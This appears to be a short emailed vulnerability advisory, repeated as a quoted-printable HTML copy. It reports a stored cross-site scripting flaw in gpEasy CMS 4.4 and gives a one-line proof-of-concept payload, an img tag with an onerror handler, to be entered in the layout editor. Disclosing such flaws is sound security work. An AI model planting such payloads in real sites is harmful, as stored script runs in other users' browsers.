# Affected software: gpeasy cms
# Type of vulnerability:stored xss
# URL:gpeasy.com
# Discovered by: provensec
# Website: provensec.com

#version: gpEasy 4.4
# Proof of concept

goto

edit layout and fill filed with xss payload "><img src=d
onerror=confirm(1);> and save it javascript will execute

--20cf303f64d02dcd89051578f782
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable

<div dir=3D"ltr"><div class=3D"gmail_default" style><span style=3D"font-fam=
ily:&#39;comic sans ms&#39;,sans-serif"></span><font face=3D"comic sans ms,=
 sans-serif"># Affected software:=A0gpeasy cms</font></div><div class=3D"gm=
ail_default" style><font face=3D"comic sans ms, sans-serif"># Type of vulne=
rability:stored xss</font></div><div class=3D"gmail_default" style><font fa=
ce=3D"comic sans ms, sans-serif"># URL:<a href=3D"http://gpeasy.com">gpeasy=
.com</a></font></div><div class=3D"gmail_default" style><font face=3D"comic=
 sans ms, sans-serif"># Discovered by: provensec</font></div><div class=3D"=
gmail_default" style><font face=3D"comic sans ms, sans-serif"># Website: <a=
 href=3D"http://provensec.com">provensec.com</a></font></div><div class=3D"=
gmail_default" style><font face=3D"comic sans ms, sans-serif"><br></font></=
div><div class=3D"gmail_default" style><font face=3D"comic sans ms, sans-se=
rif">#version:=A0</font><span style=3D"color:rgb(136,136,136);font-family:s=
ans-serif;font-size:11px;line-height:18px;background-color:rgb(34,34,34)">g=
pEasy 4.4</span></div><div class=3D"gmail_default" style><font face=3D"comi=
c sans ms, sans-serif"># Proof of concept</font><span style=3D"font-family:=
&#39;comic sans ms&#39;,sans-serif"></span></div><div class=3D"gmail_defaul=
t" style><span style=3D"font-family:&#39;comic sans ms&#39;,sans-serif"><br=
></span></div><div class=3D"gmail_default" style><font face=3D"comic sans m=
s, sans-serif">goto=A0</font></div><div class=3D"gmail_default" style><font=
 face=3D"comic sans ms, sans-serif"><br></font></div><div class=3D"gmail_de=
fault" style><font face=3D"comic sans ms, sans-serif">edit layout and fill =
filed with xss payload=A0&quot;&gt;&lt;img src=3Dd onerror=3Dconfirm(1);&gt=
; and save it javascript will execute=A0</font><br></div><div class=3D"gmai=
l_default" style><font face=3D"comic sans ms, sans-serif"><br></font></div>=
<div class=3D"gmail_default" style><font face=3D"comic sans ms, sans-serif"=
><br></font></div></div>